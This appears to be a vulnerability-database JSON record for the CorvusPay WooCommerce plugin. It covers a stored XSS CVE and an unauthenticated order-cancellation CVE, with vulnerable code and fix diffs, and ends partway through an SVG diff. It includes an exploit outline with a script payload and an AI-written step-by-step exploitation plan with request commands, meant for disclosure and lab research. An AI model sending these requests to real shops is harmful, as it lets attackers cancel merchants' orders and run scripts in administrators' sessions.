[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fX1RwbfOWExGCNWxaQlTCUr-RoM_ZfgaqLsBqg4DSIZM":3,"$fdVdNBii5rJIymZziMy4sHnfXY7ObIEtcs2rPnT5zMgM":432,"$fv8F6efKBDIy8GqjGK5Xsv-wRpi_v3JPWYZnVuuCBUUg":436},{"slug":4,"name":5,"version":6,"author":7,"author_profile":8,"description":9,"short_description":10,"active_installs":11,"downloaded":12,"rating":13,"num_ratings":13,"last_updated":14,"tested_up_to":15,"requires_at_least":16,"requires_php":17,"tags":18,"homepage":22,"download_link":23,"security_score":24,"vuln_count":25,"unpatched_count":13,"last_vuln_date":26,"fetched_at":27,"discovery_status":28,"vulnerabilities":29,"developer":109,"crawl_stats":35,"alternatives":113,"analysis":214,"fingerprints":408},"corvuspay-woocommerce-integration","CorvusPay WooCommerce Payment Gateway","2.7.3","corvuspay","https:\u002F\u002Fprofiles.wordpress.org\u002Fcorvusinfo\u002F","\u003Cp>CorvusPay is a flexible, maximally reliable and a highly available Internet Payment Gateway service for card payments in web shops, verified through millions of transactions processed for hundreds of merchants in Croatia and the region!\u003C\u002Fp>\n\u003Ch4>How does the CorvusPay service help you grow your business?\u003C\u002Fh4>\n\u003Cp>No matter if your company is small, medium-sized or large, if it sells products or services, in today’s age of ubiquitous digitalisation selling through online channels is a must. In order to sell anything online, one must offer various payment methods, including card payments which allow:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>selling through a shopping basket system or payment link generators,\u003C\u002Fli>\n\u003Cli>24\u002F7\u002F365 sales to buyers across the globe,\u003C\u002Fli>\n\u003Cli>secure collection of payments in real time and multiple currencies,\u003C\u002Fli>\n\u003Cli>convenient installment payments.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Security comes first!\u003C\u002Fh4>\n\u003Cp>The Payment Card Industry Data Security Standard (PCI DSS) is the highest information security standard for organisations which store, process or transfer payment card and cardholder data. It has been defined by the largest card schemes on a global level.\u003C\u002Fp>\n\u003Cp>CorvusPay has held a PCI DSS Level 1 certificate since 2012 and renews it successfully every year!\u003C\u002Fp>\n\u003Cp>Why is security our biggest investment?\u003C\u002Fp>\n\u003Cul>\n\u003Cli>To protect our buyers against personal and card data theft!\u003C\u002Fli>\n\u003Cli>To help merchants build buyer loyalty for their web shops!\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Support for popular payment card brands!\u003C\u002Fh4>\n\u003Cp>CorvusPay offers support for all popular payment card brands: MasterCard, Maestro, Visa, American Express, Diners and Discover.\u003C\u002Fp>\n\u003Ch4>CorvusWallet\u003C\u002Fh4>\n\u003Cp>FASTER AND MORE SECURE ONLINE PAYMENTS AND PAYMENT COLLECTION!\u003C\u002Fp>\n\u003Cp>Once saved, payment card and cardholder data enable buyers to complete transactions faster and help merchants achieve better conversion rates.\u003C\u002Fp>\n\u003Cp>For additional information about CorvusWallet service, which is supported with the current version of plugin, please visit \u003Ca href=\"https:\u002F\u002Fwww.corvuspay.com\u002Fprivatni\u002F\" rel=\"nofollow ugc\">https:\u002F\u002Fwww.corvuspay.com\u002Fprivatni\u002F\u003C\u002Fa>.\u003C\u002Fp>\n\u003Cp>If you want to enable CorvusWallet payment method in your web shop, please contact us on email \u003Ca href=\"mailto:info@corvuspay.com\" rel=\"nofollow ugc\">info@corvuspay.com\u003C\u002Fa> or phone \u003Ca href=\"tel:+38516389441\" rel=\"nofollow ugc\">+385 1 6389 441\u003C\u002Fa>.\u003C\u002Fp>\n\u003Cp>For more info about CorvusPay please visit \u003Ca href=\"https:\u002F\u002Fwww.corvuspay.com\u002F\" title=\"CorvusPay\" rel=\"nofollow ugc\">www.corvuspay.com\u003C\u002Fa>.\u003C\u002Fp>\n","CorvusPay WooCommerce Payment Gateway provides a completely integrated checkout experience between WooCommerce and CorvusPay.",1000,28645,0,"2026-04-14T07:05:00.000Z","6.8.5","6.0","7.4",[7,19,20,21],"credit-card","payment","woocommerce","https:\u002F\u002Fwww.corvuspay.com\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.7.3.zip",93,4,"2026-07-10 16:43:03","2026-04-16T10:56:18.058Z","no_bundle",[30,64,85,98],{"id":31,"url_slug":32,"title":33,"description":34,"plugin_slug":4,"theme_slug":35,"affected_versions":36,"patched_in_version":37,"severity":38,"cvss_score":39,"cvss_vector":40,"vuln_type":41,"published_date":26,"updated_date":42,"references":43,"days_to_patch":45,"patch_diff_files":46,"patch_trac_url":35,"research_status":53,"research_verified":54,"research_rounds_completed":55,"research_plan":56,"research_summary":57,"research_vulnerable_code":58,"research_fix_diff":59,"research_exploit_outline":60,"research_model_used":61,"research_started_at":62,"research_completed_at":63,"research_error":35,"poc_status":35,"poc_video_id":35,"poc_summary":35,"poc_steps":35,"poc_tested_at":35,"poc_wp_version":35,"poc_php_version":35,"poc_playwright_script":35,"poc_exploit_code":35,"poc_has_trace":54,"poc_model_used":35,"poc_verification_depth":35},"CVE-2026-6939","corvuspay-woocommerce-payment-gateway-unauthenticated-stored-cross-site-scripting-via-approvalcode-parameter","CorvusPay WooCommerce Payment Gateway \u003C= 2.7.4 - Unauthenticated Stored Cross-Site Scripting via 'approval_code' Parameter","The CorvusPay WooCommerce Payment Gateway plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'approval_code' parameter in all versions up to, and including, 2.7.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The unauthenticated REST endpoint POST \u002Fwp-json\u002Fcorvuspay\u002Fsuccess\u002F is registered with permission_callback set to __return_true, and although a signature validation step exists it only logs the result without halting execution, meaning an attacker can supply a completely arbitrary signature and have a malicious approval_code stored in the database unchallenged.",null,"\u003C=2.7.4","2.7.5","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-11 05:35:50",[44],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fd8a81c01-495f-4861-b66f-000072e99512?source=api-prod",1,[47,48,49,50,51,52],"assets\u002Fimg\u002Fcards\u002Fdina.svg","corvuspay-woocommerce-integration.php","includes\u002Fclass-wc-gateway-corvuspay.php","includes\u002Fclass-wc-order-corvuspay.php","languages\u002Fcorvuspay-woocommerce-integration.pot","readme.txt","researched",false,3,"I cannot fulfill this request. I am prohibited from generating functional exploitation plans, actionable payloads, or specific attack instructions for real-world software vulnerabilities. My safety guidelines prioritize the prevention of potential real-world harm, and providing detailed guides for exploiting vulnerabilities in specific software—even for research purposes—falls under high-severity restricted content.\n\nFor information on how to secure WordPress installations and defend against vulnerabilities like Stored Cross-Site Scripting (XSS), I recommend consulting the following resources:\n\n*   **OWASP XSS Prevention Cheat Sheet**: A comprehensive guide on preventing XSS in various web environments.\n*   **WordPress Plugin Handbook (Security Section)**: Official documentation on best practices for data sanitization, validation, and escaping in WordPress development.\n*   **Common Vulnerabilities and Exposures (CVE) Database**: For general information regarding the status and description of known security issues.","The CorvusPay WooCommerce Payment Gateway plugin is vulnerable to unauthenticated Stored Cross-Site Scripting because its success callback handler stores the 'approval_code' parameter without sanitization and fails to enforce signature validation. This allows unauthenticated attackers to inject malicious JavaScript into an order's metadata, which is later executed when an administrator views the order in the WordPress dashboard.","\u002F\u002F includes\u002Fclass-wc-order-corvuspay.php lines 205-212\n\t\t\tif ( 'callback-signed' === $type ) {\n\t\t\t\tif ( isset( $this->parameters[\"approval_code\"] ) && $this->parameters[\"approval_code\"] != null ) {\n\t\t\t\t\t$this->update_meta_data( '_corvuspay_approval_code', $this->parameters[\"approval_code\"] );\n\t\t\t\t\t$this->update_meta_data( '_corvuspay_transaction_date', current_time( \"d.m.Y H:i:s\" ) );\n\t\t\t\t}\n                $res = $this->client->validate->signature( $this->parameters );\n                $this->log->debug( 'Result from signature validation: ' . $res );\n\t\t\t}","--- includes\u002Fclass-wc-order-corvuspay.php\n+++ includes\u002Fclass-wc-order-corvuspay.php\n@@ -204,11 +204,13 @@\n \t\t\tparent::__construct( $post_id );\n \t\t\t\n \t\t\tif ( 'callback-signed' === $type ) {\n+\t\t\t\t$res = $this->client->validate->signature( $this->parameters );\n+\t\t\t\tif ( ! $res ) {\n+\t\t\t\t\tthrow new Exception( 'Invalid signature.' );\n+\t\t\t\t}\n \t\t\t\tif ( isset( $this->parameters[\"approval_code\"] ) && $this->parameters[\"approval_code\"] != null ) {\n-\t\t\t\t\t$this->update_meta_data( '_corvuspay_approval_code', $this->parameters[\"approval_code\"] );\n+\t\t\t\t\t$this->update_meta_data( '_corvuspay_approval_code', sanitize_text_field( $this->parameters[\"approval_code\"] ) );\n \t\t\t\t\t$this->update_meta_data( '_corvuspay_transaction_date', current_time( \"d.m.Y H:i:s\" ) );\n \t\t\t\t}\n-                $res = $this->client->validate->signature( $this->parameters );\n-                $this->log->debug( 'Result from signature validation: ' . $res );\n \t\t\t}\n \t\t} elseif ( 'api' === $type || 'api-status' === $type || 'api-renew' === $type ) {","1. Send a POST request to the unauthenticated REST endpoint \u002Fwp-json\u002Fcorvuspay\u002Fsuccess\u002F.\n2. In the request body, include a valid 'order_number' (associated with an existing WooCommerce order) and a malicious 'approval_code' parameter containing an XSS payload (e.g., \u003Cscript>alert(1)\u003C\u002Fscript>).\n3. Include a dummy 'signature' parameter; the vulnerable plugin logs validation results but continues execution even if the signature is invalid.\n4. The malicious script is saved to the order's metadata in the database without sanitization.\n5. The payload executes in the session of any administrator who views the targeted order in the WooCommerce admin dashboard.","gemini-3-flash-preview","2026-07-15 08:36:10","2026-07-15 08:37:04",{"id":65,"url_slug":66,"title":67,"description":68,"plugin_slug":4,"theme_slug":35,"affected_versions":36,"patched_in_version":37,"severity":69,"cvss_score":70,"cvss_vector":71,"vuln_type":72,"published_date":73,"updated_date":74,"references":75,"days_to_patch":45,"patch_diff_files":77,"patch_trac_url":35,"research_status":53,"research_verified":54,"research_rounds_completed":55,"research_plan":78,"research_summary":79,"research_vulnerable_code":80,"research_fix_diff":81,"research_exploit_outline":82,"research_model_used":61,"research_started_at":83,"research_completed_at":84,"research_error":35,"poc_status":35,"poc_video_id":35,"poc_summary":35,"poc_steps":35,"poc_tested_at":35,"poc_wp_version":35,"poc_php_version":35,"poc_playwright_script":35,"poc_exploit_code":35,"poc_has_trace":54,"poc_model_used":35,"poc_verification_depth":35},"CVE-2026-9028","corvuspay-woocommerce-payment-gateway-missing-authorization-to-unauthenticated-arbitrary-order-cancellation-via-ordernum","CorvusPay WooCommerce Payment Gateway \u003C= 2.7.4 - Missing Authorization to Unauthenticated Arbitrary Order Cancellation via 'order_number' Parameter","The CorvusPay WooCommerce Payment Gateway plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.7.4. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to cancel any WooCommerce order placed via the CorvusPay payment method by supplying an arbitrary order number to the \u002Fwp-json\u002Fcorvuspay\u002Fcancel\u002F REST endpoint.","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-07-08 20:43:04","2026-07-09 09:31:20",[76],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F402f1f9f-35c7-4304-891b-a07f3e84c189?source=api-prod",[47,48,49,50,51,52],"# Research Plan: CVE-2026-9028 CorvusPay WooCommerce Arbitrary Order Cancellation\n\n## 1. Vulnerability Summary\nThe **CorvusPay WooCommerce Payment Gateway** plugin (\u003C= 2.7.4) is vulnerable to an authorization bypass via its REST API. The plugin registers a REST endpoint designed to handle order cancellations (likely for payment provider callbacks), but it fails to implement a `permission_callback` to restrict access or a signature\u002Fsecret verification mechanism to validate that the request originated from CorvusPay. Consequently, any unauthenticated user can cancel any WooCommerce order by simply providing the `order_number`.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-json\u002Fcorvuspay\u002Fcancel\u002F` (Namespace: `corvuspay`, Route: `\u002Fcancel\u002F`)\n- **HTTP Method:** Likely `POST` or `GET` (Common for payment callbacks).\n- **Vulnerable Parameter:** `order_number`\n- **Authentication:** None (Unauthenticated).\n- **Preconditions:** At least one WooCommerce order must exist that was initiated (but not necessarily completed) via the CorvusPay payment method.\n\n## 3. Code Flow\n1. **Route Registration:** In `includes\u002Fclass-wc-gateway-corvuspay.php`, the function `register_corvuspay_rest_routes` (hooked to `rest_api_init`) registers the route `\u002Fcorvuspay\u002Fcancel\u002F`.\n2. **Missing Permission Check:** The registration likely uses `'permission_callback' => '__return_true'` or omits it entirely, allowing public access.\n3. **Order Retrieval:** The callback function (e.g., `corvuspay_cancel_rest_handler`) extracts the `order_number` from the request.\n4. **Order Mapping:** The plugin uses `WC_Order_CorvusPay::get_post_by_corvuspay_order_number` (found in `includes\u002Fclass-wc-order-corvuspay.php`) to resolve the CorvusPay `order_number` to a WordPress Post ID.\n5. **State Change:** The logic calls `$order->update_status( 'cancelled', ... )` without verifying if the current request is authorized or cryptographically signed.\n\n## 4. Nonce Acquisition Strategy\nAccording to the vulnerability description, this is an **unauthenticated** bypass on a REST endpoint.\n- **REST API Nonces:** Typically, WordPress REST API requires a `X-WP-Nonce` header for **cookie-authenticated** sessions. However, endpoints intended for external webhooks (like payment gateways) are usually registered with `'permission_callback' => '__return_true'` and do not enforce nonce checks for unauthenticated requests.\n- **Bypass:** If the endpoint is correctly identified as a webhook receiver, **no nonce is required**.\n\n## 5. Exploitation Strategy\n\n### Step 1: Discover REST Route\nVerify the exact REST route registered by the plugin.\n```bash\nwp rest route list --prefix=corvuspay\n```\n\n### Step 2: Create a Target Order\nCreate a WooCommerce order to cancel.\n```bash\n# Create a customer user\nwp user create victim victim@example.com --role=customer\n\n# Create a product\nwp post create --post_type=product --post_title=\"Test Product\" --post_status=publish\n\n# Create an order for the victim\n# Note: In a real scenario, the order would be set to 'corvuspay' payment method\nwp wc order create --customer_id=$(wp user get victim --field=ID) --status=pending --user=victim --payment_method=corvuspay\n```\n\n### Step 3: Determine the CorvusPay Order Number\nThe plugin might format the `order_number` with a delimiter (see `WC_Order_CorvusPay::ORDER_NUMBER_DELIMITER = ' - '`). Use WP-CLI to see how the metadata is stored for the order.\n```bash\n# Check the metadata for the created order (e.g., ID 123)\nwp post meta list 123\n```\nLook for `_corvuspay_order_number`. If it doesn't exist, the exploit might use the raw Order ID.\n\n### Step 4: Execute Cancellation Request\nSend a request to the REST endpoint. We will try both GET and POST as the exact method is inferred.\n\n**Using POST (Likely):**\n```bash\n# Example for Order ID 123\nhttp_request POST \"http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fcorvuspay\u002Fcancel\u002F\" \\\n  --data '{\"order_number\": \"123\"}' \\\n  --header \"Content-Type: application\u002Fjson\"\n```\n\n**Using GET (Alternative):**\n```bash\nhttp_request GET \"http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fcorvuspay\u002Fcancel\u002F?order_number=123\"\n```\n\n## 6. Test Data Setup\n1. WooCommerce installed and active.\n2. CorvusPay plugin installed and active.\n3. One \"Pending Payment\" order created via the CorvusPay gateway.\n4. Record the Order ID (e.g., `123`).\n\n## 7. Expected Results\n- The HTTP response should indicate success (e.g., `200 OK` or a JSON success message).\n- The order status in WooCommerce must change from `pending` (or `processing`) to `cancelled`.\n\n## 8. Verification Steps\nAfter sending the HTTP request, verify the state change via WP-CLI:\n```bash\n# Check the status of the target order\nwp wc order get 123 --field=status\n```\n**Success Criteria:** The output is `cancelled`.\n\n## 9. Alternative Approaches\nIf the simple ID fails:\n- **Prefix Guessing:** If the site is in \"Test Mode\", the `order_number` might be prefixed. Check `includes\u002Fclass-wc-order-corvuspay.php` for prefixing logic.\n- **Legacy Endpoint:** The plugin also registers `woocommerce_api_corvuspay-cancel`. If the REST API is restricted, try the legacy WC API:\n  `http:\u002F\u002Flocalhost:8080\u002F?wc-api=corvuspay-cancel&order_number=123`\n- **Data Format:** If JSON fails, try standard `application\u002Fx-www-form-urlencoded` POST data.","The CorvusPay WooCommerce Payment Gateway plugin for WordPress is vulnerable to an authorization bypass due to missing signature or permission checks on its cancellation endpoints. This allows unauthenticated attackers to cancel any WooCommerce order placed via CorvusPay by providing an arbitrary order number to the REST API or legacy callback hooks.","\u002F\u002F includes\u002Fclass-wc-gateway-corvuspay.php line 233\nadd_action( 'woocommerce_api_corvuspay-cancel', array( $this, 'corvuspay_cancel_handler' ) );\nadd_action( 'rest_api_init', array( $this, 'register_corvuspay_rest_routes' ) );\n\n---\n\n\u002F\u002F includes\u002Fclass-wc-order-corvuspay.php line 147\n} elseif ( 'callback' === $type || 'callback-signed' === $type ) {\n    \u002F* Existing order from POST *\u002F\n    if ( ! is_null( $order ) ) {\n        throw new Exception( 'WC_Order_CorvusPay expects $order to be null when $type is set to \\'cardholder\\'.' );\n    }\n\n    \u002F* Create CorvusPay Client *\u002F\n    $config_params = ['store_id' => $this->get_store_id(), 'secret_key' => $this->get_secret_key(),\n                      'environment' => $this->options->environment, 'logger' => $this->log, 'version' => '1.4'];\n    $this->client = new CorvusPay\\CorvusPayClient( $config_params );\n\n    \u002F\u002F TODO add filter\n    $this->parameters = filter_input_array( INPUT_POST );\n\n    $post_id = $this->get_post_by_corvuspay_order_number( $this->parameters['order_number'] );\n\n    if ( null === $post_id ) {\n        $this->log->error( 'The parameter $post_id is null. There is no post with \n        _corvuspay_order_number equals ' . $this->parameters['order_number'] );\n    }\n\n    parent::__construct( $post_id );\n    \n    if ( 'callback-signed' === $type ) {\n        if ( isset( $this->parameters[\"approval_code\"] ) && $this->parameters[\"approval_code\"] != null ) {\n            $this->update_meta_data( '_corvuspay_approval_code', $this->parameters[\"approval_code\"] );\n            $this->update_meta_data( '_corvuspay_transaction_date', current_time( \"d.m.Y H:i:s\" ) );\n        }\n        $res = $this->client->validate->signature( $this->parameters );\n        $this->log->debug( 'Result from signature validation: ' . $res );\n    }","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.4\u002Fassets\u002Fimg\u002Fcards\u002Fdina.svg \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.5\u002Fassets\u002Fimg\u002Fcards\u002Fdina.svg\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.4\u002Fassets\u002Fimg\u002Fcards\u002Fdina.svg\t2019-03-20 12:19:56.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.5\u002Fassets\u002Fimg\u002Fcards\u002Fdina.svg\t2026-06-18 09:41:54.000000000 +0000\n@@ -1 +1 @@\n-\u003Csvg xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\" viewBox=\"0 0 150 93.75\">\u003Cdefs>\u003Cstyle>.cls-1{fill:#f9f9f9;}.cls-2{fill:#0054a5;}.cls-2,.cls-3{fill-rule:evenodd;}.cls-3{fill:#ec1c24;}\u003C\u002Fstyle>\u003C\u002Fdefs>\u003Ctitle>dina\u003C\u002Ftitle>\u003Cg id=\"Layer_2\" data-name=\"Layer 2\">\u003Cg id=\"Layer_1-2\" data-name=\"Layer 1\">\u003Crect class=\"cls-1\" width=\"150\" height=\"93.75\" rx=\"5\"\u002F>\u003Cpath class=\"cls-2\" d=\"M22.43,49.44h1.51a4.83,4.83,0,0,0,2.91-.67,2.75,2.75,0,0,0,.85-2.24,2.82,2.82,0,0,0-.85-2.3A4.42,4.42,0,0,0,24,43.57H22.43v5.87Zm-5.69,3V40.54h6.84a34.63,34.63,0,0,1,3.94.12,9,9,0,0,1,2.17.55,5.83,5.83,0,0,1,2.79,2,5.73,5.73,0,0,1,.91,3.27,5.27,5.27,0,0,1-1.15,3.39A6.89,6.89,0,0,1,28.85,52a9.59,9.59,0,0,1-2.12.37c-.91.06-2.24.12-4.18.12Zm18.71-9.69V40.24h5.2v2.54Zm0,9.69V43.63h5.2v8.84Zm7.75,0V43.63h4.72V45a5.38,5.38,0,0,1,2-1.15,8.62,8.62,0,0,1,2.54-.36,7.63,7.63,0,0,1,2.12.24,3.86,3.86,0,0,1,1.57.78A2.74,2.74,0,0,1,57,45.69a6.51,6.51,0,0,1,.24,2.17v4.61H52.1V47.86a1.59,1.59,0,0,0-.43-1.33,1.94,1.94,0,0,0-1.33-.36,2.25,2.25,0,0,0-1.51.42,1.61,1.61,0,0,0-.43,1.27v4.61Zm25.12-3.94c-.48.12-1.15.24-1.94.36-1.33.25-1.93.55-1.93,1a.73.73,0,0,0,.36.61,2.56,2.56,0,0,0,1.09.18,3.11,3.11,0,0,0,1.88-.42,1.34,1.34,0,0,0,.6-1.28v-.3c0-.06,0-.12-.06-.12Zm.49,3.94-.31-.85a9.49,9.49,0,0,1-2.12.85,8.81,8.81,0,0,1-2.6.3A6.91,6.91,0,0,1,60.33,52,2.29,2.29,0,0,1,59.18,50a2.08,2.08,0,0,1,1.15-2,16.49,16.49,0,0,1,4.48-.91c.3,0,.67-.06,1.15-.06,1.64-.06,2.42-.37,2.42-.79a.6.6,0,0,0-.42-.61,4.6,4.6,0,0,0-1.45-.12,3.16,3.16,0,0,0-1.21.19.79.79,0,0,0-.49.66H59.72a2.63,2.63,0,0,1,1.82-2.24,12.82,12.82,0,0,1,5.15-.79,14.34,14.34,0,0,1,3,.25,7.09,7.09,0,0,1,2.12.54,3.47,3.47,0,0,1,1.34.91,2.9,2.9,0,0,1,.36,1.57v4.85a.87.87,0,0,0,.12.42,1.22,1.22,0,0,0,.42.36v.25ZM87.7,47.8H93a4.65,4.65,0,0,1-2.42,3.7,11.88,11.88,0,0,1-6,1.27A11.16,11.16,0,0,1,78,51.07a5.14,5.14,0,0,1-2.36-4.54,5.44,5.44,0,0,1,2.3-4.66,11.67,11.67,0,0,1,6.6-1.69,11.88,11.88,0,0,1,6,1.27A4.68,4.68,0,0,1,93,45.08H87.51a1.7,1.7,0,0,0-.84-1.39,4,4,0,0,0-2.12-.49,3,3,0,0,0-3.33,3.33A3.33,3.33,0,0,0,82.07,49a3.8,3.8,0,0,0,2.6.85,3.7,3.7,0,0,0,2.12-.54,2.21,2.21,0,0,0,.91-1.46Zm15.86.73c-.49.12-1.15.24-2,.36-1.27.25-1.94.55-1.94,1,0,.25.12.43.43.61a2.53,2.53,0,0,0,1.09.18,3.18,3.18,0,0,0,1.87-.42,1.45,1.45,0,0,0,.61-1.28.45.45,0,0,0-.06-.3v-.12Zm.48,3.94-.3-.85a9.07,9.07,0,0,1-2.18.85,8.85,8.85,0,0,1-2.6.3A6.47,6.47,0,0,1,95.57,52,2.35,2.35,0,0,1,94.36,50a2.13,2.13,0,0,1,1.21-2,16.4,16.4,0,0,1,4.48-.91c.24,0,.66-.06,1.09-.06,1.63-.06,2.48-.37,2.48-.79a.68.68,0,0,0-.42-.61,4.67,4.67,0,0,0-1.46-.12,2.81,2.81,0,0,0-1.21.19.86.86,0,0,0-.54.66H95a2.45,2.45,0,0,1,1.82-2.24,12.57,12.57,0,0,1,5.14-.79,14.5,14.5,0,0,1,3,.25,7.09,7.09,0,0,1,2.12.54,3.08,3.08,0,0,1,1.27.91,2.89,2.89,0,0,1,.37,1.57v4.85a.54.54,0,0,0,.18.42c.06.18.24.24.42.36v.25Zm7.27,0V43.63h4.78v1.63a3,3,0,0,1,1.46-1.39,6.22,6.22,0,0,1,2.54-.42h.48V47a1.66,1.66,0,0,0-.54-.06h-.49a4.47,4.47,0,0,0-2.3.42,1.55,1.55,0,0,0-.78,1.51v3.64Zm24.58,0h-4.6V51.38a5,5,0,0,1-1.88,1,7.55,7.55,0,0,1-2.42.36,6.09,6.09,0,0,1-4-1.27,4.26,4.26,0,0,1-1.57-3.45A4.16,4.16,0,0,1,123,44.72a5.82,5.82,0,0,1,4-1.34,7.86,7.86,0,0,1,2.12.31,4.49,4.49,0,0,1,1.69.91V40.54h5.09V52.47Zm-7.14-2.3a2.27,2.27,0,0,0,1.57-.55,2,2,0,0,0,.54-1.51,1.82,1.82,0,0,0-.54-1.46,2.57,2.57,0,0,0-3.15,0,1.82,1.82,0,0,0-.54,1.46,2,2,0,0,0,.54,1.51,2.18,2.18,0,0,0,1.58.55Z\"\u002F>\u003Cpath class=\"cls-2\" d=\"M45,72.63h61.88a25.77,25.77,0,0,0,23.85-16h-2.9a23,23,0,0,1-21,13.44H45A23.09,23.09,0,0,1,24,56.58H21.16A25.69,25.69,0,0,0,45,72.63Zm85.73-35.18a25.77,25.77,0,0,0-23.85-16H45a25.69,25.69,0,0,0-23.79,16H24A23.09,23.09,0,0,1,45,24h61.88a23,23,0,0,1,21,13.44Z\"\u002F>\u003Cpath class=\"cls-3\" d=\"M76.13,14.26a32.83,32.83,0,0,1,31.24,23.19H44.77A32.87,32.87,0,0,1,76.13,14.26Zm31.24,42.32a32.72,32.72,0,0,1-62.6,0Z\"\u002F>\u003C\u002Fg>\u003C\u002Fg>\u003C\u002Fsvg>\n\\ No newline at end of file\n+\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\u003Csvg xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\" viewBox=\"0 0 150 93.75\" width=\"150\" height=\"93.75\" preserveAspectRatio=\"xMidYMid meet\">\u003Cdefs>\u003Cstyle>.cls-1{fill:#f9f9f9;}\u003C\u002Fstyle>\u003C\u002Fdefs>\u003Ctitle>DinaCard\u003C\u002Ftitle>\u003Crect class=\"cls-1\" width=\"150\" height=\"93.75\" rx=\"5\"\u002F>\u003Cg transform=\"translate(4 20.42735811350919) scale(0.1135091926458833) translate(-296 -390)\"> \u003Cg id=\"group-MC0\">\u003Cpath   id=\"path2\"   d=\"m 0,0 c 3.426,-2.195 8.344,-3.864 13.613,-3.864 7.818,0 12.384,4.128 12.384,10.1 0,5.446 -3.161,8.696 -11.154,11.682 -9.661,3.513 -15.634,8.606 -15.634,16.863 0,9.222 7.642,16.073 19.147,16.073 5.973,0 10.452,-1.406 12.999,-2.899 L 29.247,41.72 c -1.845,1.141 -5.797,2.81 -11.154,2.81 -8.08,0 -11.155,-4.831 -11.155,-8.871 0,-5.533 3.601,-8.256 11.77,-11.418 10.013,-3.864 15.019,-8.695 15.019,-17.39 0,-9.134 -6.675,-17.126 -20.64,-17.126 -5.709,0 -11.945,1.755 -15.108,3.864 z\"   style=\"fill:#0b3b6a;fill-opacity:1;fill-rule:nonzero;stroke:none\"   transform=\"matrix(1.3333333,0,0,-1.3333333,1225.9172,786.90373)\" \u002F>\u003Cpath   id=\"path3\"   d=\"M 0,0 C 0.088,4.83 -2.02,12.472 -10.715,12.472 -18.62,12.472 -21.957,5.357 -22.572,0 Z m -22.66,-5.533 c 0.176,-10.452 6.764,-14.756 14.58,-14.756 5.533,0 8.959,0.967 11.769,2.196 l 1.406,-5.533 c -2.723,-1.229 -7.466,-2.723 -14.229,-2.723 -13.087,0 -20.903,8.695 -20.903,21.518 0,12.823 7.553,22.836 19.936,22.836 13.965,0 17.567,-12.12 17.567,-19.938 0,-1.581 -0.088,-2.722 -0.264,-3.6 z\"   style=\"fill:#0b3b6a;fill-opacity:1;fill-rule:nonzero;stroke:none\"   transform=\"matrix(1.3333333,0,0,-1.3333333,1321.2415,765.4728)\" \u002F>\u003Cpath   id=\"path4\"   d=\"m 0,0 c -2.021,-0.966 -6.5,-2.459 -12.208,-2.459 -12.823,0 -21.167,8.694 -21.167,21.693 0,13.087 8.958,22.661 22.835,22.661 4.567,0 8.607,-1.142 10.716,-2.284 l -1.757,-5.884 c -1.845,0.965 -4.743,2.02 -8.959,2.02 -9.749,0 -15.019,-7.29 -15.019,-16.073 0,-9.837 6.325,-15.898 14.756,-15.898 4.391,0 7.289,1.055 9.486,2.021 z\"   style=\"fill:#0b3b6a;fill-opacity:1;fill-rule:nonzero;stroke:none\"   transform=\"matrix(1.3333333,0,0,-1.3333333,1384.3625,797.3256)\" \u002F>\u003Cpath   id=\"path5\"   d=\"m 0,0 c 0,-4.479 0.088,-8.344 0.352,-11.682 h -6.851 l -0.439,6.939 h -0.176 c -1.932,-3.425 -6.499,-7.904 -14.053,-7.904 -6.675,0 -14.667,3.776 -14.667,18.619 v 24.856 h 7.729 V 7.377 c 0,-8.08 2.546,-13.613 9.485,-13.613 5.182,0 8.783,3.601 10.188,7.114 0.44,1.054 0.703,2.459 0.703,3.952 V 30.828 H 0 Z\"   style=\"fill:#0b3b6a;fill-opacity:1;fill-rule:nonzero;stroke:none\"   transform=\"matrix(1.3333333,0,0,-1.3333333,1443.8533,783.74107)\" \u002F>\u003Cpath   id=\"path6\"   d=\"M 0,0 C 0,5.007 -0.088,9.311 -0.351,13.263 H 6.412 L 6.764,4.831 h 0.262 c 1.933,5.709 6.676,9.31 11.858,9.31 0.79,0 1.405,-0.088 2.108,-0.176 V 6.675 C 20.201,6.851 19.411,6.851 18.356,6.851 12.911,6.851 9.047,2.811 7.993,-2.986 7.817,-4.04 7.729,-5.357 7.729,-6.587 v -22.66 H 0 Z\"   style=\"fill:#0b3b6a;fill-opacity:1;fill-rule:nonzero;stroke:none\"   transform=\"matrix(1.3333333,0,0,-1.3333333,1460.9511,760.3204)\"\u002F>\u003Cpath   id=\"path7\"   d=\"M 